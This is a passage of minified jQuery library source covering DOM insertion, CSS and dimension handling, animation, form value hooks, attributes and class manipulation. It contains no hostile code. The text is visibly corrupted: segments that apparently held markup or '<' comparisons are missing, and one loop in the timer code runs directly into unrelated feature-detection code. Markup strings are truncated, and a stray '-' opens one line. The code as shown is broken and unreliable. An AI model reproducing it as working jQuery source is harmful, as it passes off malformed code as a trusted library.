"!==l[1]||kb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--)m.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}m.merge(p,h.childNodes),h.textContent="";while(h.firstChild)h.removeChild(h.firstChild);h=o.lastChild}else p.push(b.createTextNode(f));h&&o.removeChild(h),k.appendChecked||m.grep(ub(p,"input"),vb),q=0;while(f=p[q++])if((!d||-1===m.inArray(f,d))&&(g=m.contains(f.ownerDocument,f),h=ub(o.appendChild(f),"script"),g&&zb(h),c)){e=0;while(f=h[e++])ob.test(f.type||"")&&c.push(f)}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=m.expando,j=m.cache,l=k.deleteExpando,n=m.event.special;null!=(d=a[h]);h++)if((b||m.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)n[e]?m.event.remove(d,e):m.removeEvent(d,e,g.handle);j[f]&&(delete j[f],l?delete d[i]:typeof d.removeAttribute!==K?d.removeAttribute(i):d[i]=null,c.push(f))}}}),m.fn.extend({text:function(a){return V(this,function(a){return void 0===a?m.text(this):this.empty().append((this[0]&&this[0].ownerDocument||y).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?m.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||m.cleanData(ub(c)),c.parentNode&&(b&&m.contains(c.ownerDocument,c)&&zb(ub(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&m.cleanData(ub(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&m.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return m.clone(this,a,b)})},html:function(a){return V(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(fb,""):void 0;if(!("string"!=typeof a||mb.test(a)||!k.htmlSerialize&&gb.test(a)||!k.leadingWhitespace&&hb.test(a)||rb[(jb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(ib,"<$1>$2>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(m.cleanData(ub(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,m.cleanData(ub(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,n=this,o=l-1,p=a[0],q=m.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&nb.test(p))return this.each(function(c){var d=n.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(i=m.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=m.map(ub(i,"script"),xb),f=g.length;l>j;j++)d=i,j!==o&&(d=m.clone(d,!0,!0),f&&m.merge(g,ub(d,"script"))),b.call(this[j],d,j);if(f)for(h=g[g.length-1].ownerDocument,m.map(g,yb),j=0;f>j;j++)d=g[j],ob.test(d.type||"")&&!m._data(d,"globalEval")&&m.contains(h,d)&&(d.src?m._evalUrl&&m._evalUrl(d.src):m.globalEval((d.text||d.textContent||d.innerHTML||"").replace(qb,"")));i=c=null}return this}}),m.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){m.fn[a]=function(a){for(var c,d=0,e=[],g=m(a),h=g.length-1;h>=d;d++)c=d===h?this:this.clone(!0),m(g[d])[b](c),f.apply(e,c.get());return this.pushStack(e)}});var Cb,Db={};function Eb(b,c){var d,e=m(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:m.css(e[0],"display");return e.detach(),f}function Fb(a){var b=y,c=Db[a];return c||(c=Eb(a,b),"none"!==c&&c||(Cb=(Cb||m("")).appendTo(b.documentElement),b=(Cb[0].contentWindow||Cb[0].contentDocument).document,b.write(),b.close(),c=Eb(a,b),Cb.detach()),Db[a]=c),c}!function(){var a;k.shrinkWrapBlocks=function(){if(null!=a)return a;a=!1;var b,c,d;return c=y.getElementsByTagName("body")[0],c&&c.style?(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),typeof b.style.zoom!==K&&(b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",b.appendChild(y.createElement("div")).style.width="5px",a=3!==b.offsetWidth),c.removeChild(d),a):void 0}}();var Gb=/^margin/,Hb=new RegExp("^("+S+")(?!px)[a-z%]+$","i"),Ib,Jb,Kb=/^(top|right|bottom|left)$/;a.getComputedStyle?(Ib=function(a){return a.ownerDocument.defaultView.getComputedStyle(a,null)},Jb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ib(a),g=c?c.getPropertyValue(b)||c[b]:void 0,c&&(""!==g||m.contains(a.ownerDocument,a)||(g=m.style(a,b)),Hb.test(g)&&Gb.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0===g?g:g+""}):y.documentElement.currentStyle&&(Ib=function(a){return a.currentStyle},Jb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ib(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Hb.test(g)&&!Kb.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left="fontSize"===b?"1em":g,g=h.pixelLeft+"px",h.left=d,f&&(e.left=f)),void 0===g?g:g+""||"auto"});function Lb(a,b){return{get:function(){var c=a();if(null!=c)return c?void delete this.get:(this.get=b).apply(this,arguments)}}}!function(){var b,c,d,e,f,g,h;if(b=y.createElement("div"),b.innerHTML=" a ",d=b.getElementsByTagName("a")[0],c=d&&d.style){c.cssText="float:left;opacity:.5",k.opacity="0.5"===c.opacity,k.cssFloat=!!c.cssFloat,b.style.backgroundClip="content-box",b.cloneNode(!0).style.backgroundClip="",k.clearCloneStyle="content-box"===b.style.backgroundClip,k.boxSizing=""===c.boxSizing||""===c.MozBoxSizing||""===c.WebkitBoxSizing,m.extend(k,{reliableHiddenOffsets:function(){return null==g&&i(),g},boxSizingReliable:function(){return null==f&&i(),f},pixelPosition:function(){return null==e&&i(),e},reliableMarginRight:function(){return null==h&&i(),h}});function i(){var b,c,d,i;c=y.getElementsByTagName("body")[0],c&&c.style&&(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),b.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute",e=f=!1,h=!0,a.getComputedStyle&&(e="1%"!==(a.getComputedStyle(b,null)||{}).top,f="4px"===(a.getComputedStyle(b,null)||{width:"4px"}).width,i=b.appendChild(y.createElement("div")),i.style.cssText=b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",i.style.marginRight=i.style.width="0",b.style.width="1px",h=!parseFloat((a.getComputedStyle(i,null)||{}).marginRight)),b.innerHTML="",i=b.getElementsByTagName("td"),i[0].style.cssText="margin:0;border:0;padding:0;display:none",g=0===i[0].offsetHeight,g&&(i[0].style.display="",i[1].style.display="none",g=0===i[0].offsetHeight),c.removeChild(d))}}}(),m.swap=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};var Mb=/alpha\([^)]*\)/i,Nb=/opacity\s*=\s*([^)]*)/,Ob=/^(none|table(?!-c[ea]).+)/,Pb=new RegExp("^("+S+")(.*)$","i"),Qb=new RegExp("^([+-])=("+S+")","i"),Rb={position:"absolute",visibility:"hidden",display:"block"},Sb={letterSpacing:"0",fontWeight:"400"},Tb=["Webkit","O","Moz","ms"];function Ub(a,b){if(b in a)return b;var c=b.charAt(0).toUpperCase()+b.slice(1),d=b,e=Tb.length;while(e--)if(b=Tb[e]+c,b in a)return b;return d}function Vb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=m._data(d,"olddisplay"),c=d.style.display,b?(f[g]||"none"!==c||(d.style.display=""),""===d.style.display&&U(d)&&(f[g]=m._data(d,"olddisplay",Fb(d.nodeName)))):(e=U(d),(c&&"none"!==c||!e)&&m._data(d,"olddisplay",e?c:m.css(d,"display"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&"none"!==d.style.display&&""!==d.style.display||(d.style.display=b?f[g]||"":"none"));return a}function Wb(a,b,c){var d=Pb.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||"px"):b}function Xb(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;4>f;f+=2)"margin"===c&&(g+=m.css(a,c+T[f],!0,e)),d?("content"===c&&(g-=m.css(a,"padding"+T[f],!0,e)),"margin"!==c&&(g-=m.css(a,"border"+T[f]+"Width",!0,e))):(g+=m.css(a,"padding"+T[f],!0,e),"padding"!==c&&(g+=m.css(a,"border"+T[f]+"Width",!0,e)));return g}function Yb(a,b,c){var d=!0,e="width"===b?a.offsetWidth:a.offsetHeight,f=Ib(a),g=k.boxSizing&&"border-box"===m.css(a,"boxSizing",!1,f);if(0>=e||null==e){if(e=Jb(a,b,f),(0>e||null==e)&&(e=a.style[b]),Hb.test(e))return e;d=g&&(k.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+Xb(a,b,c||(g?"border":"content"),d,f)+"px"}m.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Jb(a,"opacity");return""===c?"1":c}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":k.cssFloat?"cssFloat":"styleFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=m.camelCase(b),i=a.style;if(b=m.cssProps[h]||(m.cssProps[h]=Ub(i,h)),g=m.cssHooks[b]||m.cssHooks[h],void 0===c)return g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,"string"===f&&(e=Qb.exec(c))&&(c=(e[1]+1)*e[2]+parseFloat(m.css(a,b)),f="number"),null!=c&&c===c&&("number"!==f||m.cssNumber[h]||(c+="px"),k.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),!(g&&"set"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=m.camelCase(b);return b=m.cssProps[h]||(m.cssProps[h]=Ub(a.style,h)),g=m.cssHooks[b]||m.cssHooks[h],g&&"get"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Jb(a,b,d)),"normal"===f&&b in Sb&&(f=Sb[b]),""===c||c?(e=parseFloat(f),c===!0||m.isNumeric(e)?e||0:f):f}}),m.each(["height","width"],function(a,b){m.cssHooks[b]={get:function(a,c,d){return c?Ob.test(m.css(a,"display"))&&0===a.offsetWidth?m.swap(a,Rb,function(){return Yb(a,b,d)}):Yb(a,b,d):void 0},set:function(a,c,d){var e=d&&Ib(a);return Wb(a,c,d?Xb(a,b,d,k.boxSizing&&"border-box"===m.css(a,"boxSizing",!1,e),e):0)}}}),k.opacity||(m.cssHooks.opacity={get:function(a,b){return Nb.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=m.isNumeric(b)?"alpha(opacity="+100*b+")":"",f=d&&d.filter||c.filter||"";c.zoom=1,(b>=1||""===b)&&""===m.trim(f.replace(Mb,""))&&c.removeAttribute&&(c.removeAttribute("filter"),""===b||d&&!d.filter)||(c.filter=Mb.test(f)?f.replace(Mb,e):f+" "+e)}}),m.cssHooks.marginRight=Lb(k.reliableMarginRight,function(a,b){return b?m.swap(a,{display:"inline-block"},Jb,[a,"marginRight"]):void 0}),m.each({margin:"",padding:"",border:"Width"},function(a,b){m.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];4>d;d++)e[a+T[d]+b]=f[d]||f[d-2]||f[0];return e}},Gb.test(a)||(m.cssHooks[a+b].set=Wb)}),m.fn.extend({css:function(a,b){return V(this,function(a,b,c){var d,e,f={},g=0;if(m.isArray(b)){for(d=Ib(a),e=b.length;e>g;g++)f[b[g]]=m.css(a,b[g],!1,d);return f}return void 0!==c?m.style(a,b,c):m.css(a,b)},a,b,arguments.length>1)},show:function(){return Vb(this,!0)},hide:function(){return Vb(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){U(this)?m(this).show():m(this).hide()})}});function Zb(a,b,c,d,e){return new Zb.prototype.init(a,b,c,d,e)}m.Tween=Zb,Zb.prototype={constructor:Zb,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||"swing",this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(m.cssNumber[c]?"":"px")
-},cur:function(){var a=Zb.propHooks[this.prop];return a&&a.get?a.get(this):Zb.propHooks._default.get(this)},run:function(a){var b,c=Zb.propHooks[this.prop];return this.pos=b=this.options.duration?m.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Zb.propHooks._default.set(this),this}},Zb.prototype.init.prototype=Zb.prototype,Zb.propHooks={_default:{get:function(a){var b;return null==a.elem[a.prop]||a.elem.style&&null!=a.elem.style[a.prop]?(b=m.css(a.elem,a.prop,""),b&&"auto"!==b?b:0):a.elem[a.prop]},set:function(a){m.fx.step[a.prop]?m.fx.step[a.prop](a):a.elem.style&&(null!=a.elem.style[m.cssProps[a.prop]]||m.cssHooks[a.prop])?m.style(a.elem,a.prop,a.now+a.unit):a.elem[a.prop]=a.now}}},Zb.propHooks.scrollTop=Zb.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},m.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2}},m.fx=Zb.prototype.init,m.fx.step={};var $b,_b,ac=/^(?:toggle|show|hide)$/,bc=new RegExp("^(?:([+-])=|)("+S+")([a-z%]*)$","i"),cc=/queueHooks$/,dc=[ic],ec={"*":[function(a,b){var c=this.createTween(a,b),d=c.cur(),e=bc.exec(b),f=e&&e[3]||(m.cssNumber[a]?"":"px"),g=(m.cssNumber[a]||"px"!==f&&+d)&&bc.exec(m.css(c.elem,a)),h=1,i=20;if(g&&g[3]!==f){f=f||g[3],e=e||[],g=+d||1;do h=h||".5",g/=h,m.style(c.elem,a,g+f);while(h!==(h=c.cur()/d)&&1!==h&&--i)}return e&&(g=c.start=+g||+d||0,c.unit=f,c.end=e[1]?g+(e[1]+1)*e[2]:+e[2]),c}]};function fc(){return setTimeout(function(){$b=void 0}),$b=m.now()}function gc(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=T[e],d["margin"+c]=d["padding"+c]=a;return b&&(d.opacity=d.width=a),d}function hc(a,b,c){for(var d,e=(ec[b]||[]).concat(ec["*"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function ic(a,b,c){var d,e,f,g,h,i,j,l,n=this,o={},p=a.style,q=a.nodeType&&U(a),r=m._data(a,"fxshow");c.queue||(h=m._queueHooks(a,"fx"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,n.always(function(){n.always(function(){h.unqueued--,m.queue(a,"fx").length||h.empty.fire()})})),1===a.nodeType&&("height"in b||"width"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=m.css(a,"display"),l="none"===j?m._data(a,"olddisplay")||Fb(a.nodeName):j,"inline"===l&&"none"===m.css(a,"float")&&(k.inlineBlockNeedsLayout&&"inline"!==Fb(a.nodeName)?p.zoom=1:p.display="inline-block")),c.overflow&&(p.overflow="hidden",k.shrinkWrapBlocks()||n.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],ac.exec(e)){if(delete b[d],f=f||"toggle"===e,e===(q?"hide":"show")){if("show"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||m.style(a,d)}else j=void 0;if(m.isEmptyObject(o))"inline"===("none"===j?Fb(a.nodeName):j)&&(p.display=j);else{r?"hidden"in r&&(q=r.hidden):r=m._data(a,"fxshow",{}),f&&(r.hidden=!q),q?m(a).show():n.done(function(){m(a).hide()}),n.done(function(){var b;m._removeData(a,"fxshow");for(b in o)m.style(a,b,o[b])});for(d in o)g=hc(q?r[d]:0,d,n),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start="width"===d||"height"===d?1:0))}}function jc(a,b){var c,d,e,f,g;for(c in a)if(d=m.camelCase(c),e=b[d],f=a[c],m.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=m.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function kc(a,b,c){var d,e,f=0,g=dc.length,h=m.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=$b||fc(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:m.extend({},b),opts:m.extend(!0,{specialEasing:{}},c),originalProperties:b,originalOptions:c,startTime:$b||fc(),duration:c.duration,tweens:[],createTween:function(b,c){var d=m.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?h.resolveWith(a,[j,b]):h.rejectWith(a,[j,b]),this}}),k=j.props;for(jc(k,j.opts.specialEasing);g>f;f++)if(d=dc[f].call(j,a,k,j.opts))return d;return m.map(k,hc,j),m.isFunction(j.opts.start)&&j.opts.start.call(a,j),m.fx.timer(m.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}m.Animation=m.extend(kc,{tweener:function(a,b){m.isFunction(a)?(b=a,a=["*"]):a=a.split(" ");for(var c,d=0,e=a.length;e>d;d++)c=a[d],ec[c]=ec[c]||[],ec[c].unshift(b)},prefilter:function(a,b){b?dc.unshift(a):dc.push(a)}}),m.speed=function(a,b,c){var d=a&&"object"==typeof a?m.extend({},a):{complete:c||!c&&b||m.isFunction(a)&&a,duration:a,easing:c&&b||b&&!m.isFunction(b)&&b};return d.duration=m.fx.off?0:"number"==typeof d.duration?d.duration:d.duration in m.fx.speeds?m.fx.speeds[d.duration]:m.fx.speeds._default,(null==d.queue||d.queue===!0)&&(d.queue="fx"),d.old=d.complete,d.complete=function(){m.isFunction(d.old)&&d.old.call(this),d.queue&&m.dequeue(this,d.queue)},d},m.fn.extend({fadeTo:function(a,b,c,d){return this.filter(U).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=m.isEmptyObject(a),f=m.speed(b,c,d),g=function(){var b=kc(this,m.extend({},a),f);(e||m._data(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=m.timers,g=m._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&cc.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));(b||!c)&&m.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=m._data(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=m.timers,g=d?d.length:0;for(c.finish=!0,m.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),m.each(["toggle","show","hide"],function(a,b){var c=m.fn[b];m.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(gc(b,!0),a,d,e)}}),m.each({slideDown:gc("show"),slideUp:gc("hide"),slideToggle:gc("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){m.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),m.timers=[],m.fx.tick=function(){var a,b=m.timers,c=0;for($b=m.now();ca ",d=b.getElementsByTagName("a")[0],c=y.createElement("select"),e=c.appendChild(y.createElement("option")),a=b.getElementsByTagName("input")[0],d.style.cssText="top:1px",k.getSetAttribute="t"!==b.className,k.style=/top/.test(d.getAttribute("style")),k.hrefNormalized="/a"===d.getAttribute("href"),k.checkOn=!!a.value,k.optSelected=e.selected,k.enctype=!!y.createElement("form").enctype,c.disabled=!0,k.optDisabled=!e.disabled,a=y.createElement("input"),a.setAttribute("value",""),k.input=""===a.getAttribute("value"),a.value="t",a.setAttribute("type","radio"),k.radioValue="t"===a.value}();var lc=/\r/g;m.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=m.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,m(this).val()):a,null==e?e="":"number"==typeof e?e+="":m.isArray(e)&&(e=m.map(e,function(a){return null==a?"":a+""})),b=m.valHooks[this.type]||m.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=m.valHooks[e.type]||m.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(lc,""):null==c?"":c)}}}),m.extend({valHooks:{option:{get:function(a){var b=m.find.attr(a,"value");return null!=b?b:m.trim(m.text(a))}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],!(!c.selected&&i!==e||(k.optDisabled?c.disabled:null!==c.getAttribute("disabled"))||c.parentNode.disabled&&m.nodeName(c.parentNode,"optgroup"))){if(b=m(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=m.makeArray(b),g=e.length;while(g--)if(d=e[g],m.inArray(m.valHooks.option.get(d),f)>=0)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),m.each(["radio","checkbox"],function(){m.valHooks[this]={set:function(a,b){return m.isArray(b)?a.checked=m.inArray(m(a).val(),b)>=0:void 0}},k.checkOn||(m.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var mc,nc,oc=m.expr.attrHandle,pc=/^(?:checked|selected)$/i,qc=k.getSetAttribute,rc=k.input;m.fn.extend({attr:function(a,b){return V(this,m.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){m.removeAttr(this,a)})}}),m.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(a&&3!==f&&8!==f&&2!==f)return typeof a.getAttribute===K?m.prop(a,b,c):(1===f&&m.isXMLDoc(a)||(b=b.toLowerCase(),d=m.attrHooks[b]||(m.expr.match.bool.test(b)?nc:mc)),void 0===c?d&&"get"in d&&null!==(e=d.get(a,b))?e:(e=m.find.attr(a,b),null==e?void 0:e):null!==c?d&&"set"in d&&void 0!==(e=d.set(a,c,b))?e:(a.setAttribute(b,c+""),c):void m.removeAttr(a,b))},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(E);if(f&&1===a.nodeType)while(c=f[e++])d=m.propFix[c]||c,m.expr.match.bool.test(c)?rc&&qc||!pc.test(c)?a[d]=!1:a[m.camelCase("default-"+c)]=a[d]=!1:m.attr(a,c,""),a.removeAttribute(qc?c:d)},attrHooks:{type:{set:function(a,b){if(!k.radioValue&&"radio"===b&&m.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}}}),nc={set:function(a,b,c){return b===!1?m.removeAttr(a,c):rc&&qc||!pc.test(c)?a.setAttribute(!qc&&m.propFix[c]||c,c):a[m.camelCase("default-"+c)]=a[c]=!0,c}},m.each(m.expr.match.bool.source.match(/\w+/g),function(a,b){var c=oc[b]||m.find.attr;oc[b]=rc&&qc||!pc.test(b)?function(a,b,d){var e,f;return d||(f=oc[b],oc[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,oc[b]=f),e}:function(a,b,c){return c?void 0:a[m.camelCase("default-"+b)]?b.toLowerCase():null}}),rc&&qc||(m.attrHooks.value={set:function(a,b,c){return m.nodeName(a,"input")?void(a.defaultValue=b):mc&&mc.set(a,b,c)}}),qc||(mc={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+="","value"===c||b===a.getAttribute(c)?b:void 0}},oc.id=oc.name=oc.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&""!==d.value?d.value:null},m.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:mc.set},m.attrHooks.contenteditable={set:function(a,b,c){mc.set(a,""===b?!1:b,c)}},m.each(["width","height"],function(a,b){m.attrHooks[b]={set:function(a,c){return""===c?(a.setAttribute(b,"auto"),c):void 0}}})),k.style||(m.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+""}});var sc=/^(?:input|select|textarea|button|object)$/i,tc=/^(?:a|area)$/i;m.fn.extend({prop:function(a,b){return V(this,m.prop,a,b,arguments.length>1)},removeProp:function(a){return a=m.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),m.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(a,b,c){var d,e,f,g=a.nodeType;if(a&&3!==g&&8!==g&&2!==g)return f=1!==g||!m.isXMLDoc(a),f&&(b=m.propFix[b]||b,e=m.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=m.find.attr(a,"tabindex");return b?parseInt(b,10):sc.test(a.nodeName)||tc.test(a.nodeName)&&a.href?0:-1}}}}),k.hrefNormalized||m.each(["href","src"],function(a,b){m.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),k.optSelected||(m.propHooks.selected={get:function(a){var b=a.parentNode;return b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null}}),m.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){m.propFix[this.toLowerCase()]=this}),k.enctype||(m.propFix.enctype="encoding");var uc=/[\t\r\n\f]/g;m.fn.extend({addClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j="string"==typeof a&&a;if(m.isFunction(a))return this.each(function(b){m(this).addClass(a.call(this,b,this.className))});if(j)for(b=(a||"").match(E)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(" "+c.className+" ").replace(uc," "):" ")){f=0;while(e=b[f++])d.indexOf(" "+e+" ")<0&&(d+=e+" ");g=m.trim(d),c.className!==g&&(c.className=g)}return this},removeClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j=0===arguments.length||"string"==typeof a&&a;if(m.isFunction(a))return this.each(function(b){m(this).removeClass(a.call(this,b,this.className))});if(j)for(b=(a||"").match(E)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(" "+c.className+" ").replace(uc," "):"")){f=0;while(e=b[f++])while(d.indexOf(" "+e+" ")>=0)d=d.replace(" "+e+" "," 